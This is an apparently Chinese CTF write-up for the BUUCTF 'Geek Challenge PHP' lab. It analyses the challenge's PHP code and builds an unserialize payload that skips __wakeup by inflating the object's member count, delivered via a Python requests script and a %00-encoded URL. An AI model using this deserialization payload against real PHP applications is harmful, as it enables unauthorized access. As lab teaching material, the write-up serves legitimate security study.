BUUCTF--极客大挑战php

文章目录

1.网站备份文件www.zip

2.下载后发现

class.php

php 复制代码
<?php
include 'flag.php';
error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

index.php

php 复制代码
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

flag.php

php 复制代码
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

3.分析php代码

由index.php中,得到网站GET传参select,将传进的数据,进行反序列化;重点是class.php,通过代码分析,构造析构函数中username必须是admin,password必须是100,才能包含flag.php

php 复制代码
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }

__destruct() 是一个特殊的 PHP 魔术方法(Magic Method),用于在对象实例被销毁时执行一些操作。当没有任何引用指向一个对象或者显式地调用 unset() 函数时,对象就会被销毁,此时 __destruct() 方法会被调用。

php 复制代码
    function __wakeup(){
        $this->username = 'guest';
    }

在PHP中,__wakeup() 是一个特殊的魔术方法(magic method),它在反序列化一个对象时被调用。当使用 unserialize() 函数从字符串中重新创建对象时,如果该类中定义了 __wakeup() 方法,那么在反序列化后将立即调用该方法
也就是说,当我们即使传参admin,100的值后,当实类被反序列化调用时,__wakeup函数会被自动调用,username也会将admin调换成guest

所以就要绕过__wakeup方法就可以了,

绕过__wakeup方法

当序列化的中的成员数大于实际成员数,就会跳过__wakeup方法的执行

php 复制代码
<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
}

$a = new Name('admin', 100);
echo serialize($a)
?>
复制代码
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

将类Name后的2,改为3,即可绕过

复制代码
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

变量权限为私有或保护

参考链接:https://blog.csdn.net/weixin_45844670/article/details/108171963

private是私有字段,只有在所声明的类中可见,子类和该类的实类都不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀

python方法

python 复制代码
import requests
url = "http://fdc1a5b4-4e8c-4077-8471-748df3708de0.node5.buuoj.cn:81/"
ruqset = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(ruqset.text)

url方法

将\0改为%00

复制代码
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
相关推荐
JaguarJack1 天前
FrankenPHP 原生支持 Windows 了
后端·php·服务端
BingoGo1 天前
FrankenPHP 原生支持 Windows 了
后端·php
JaguarJack2 天前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo2 天前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack3 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay4 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954484 天前
CTF 伪协议
php
BingoGo6 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack6 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo7 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php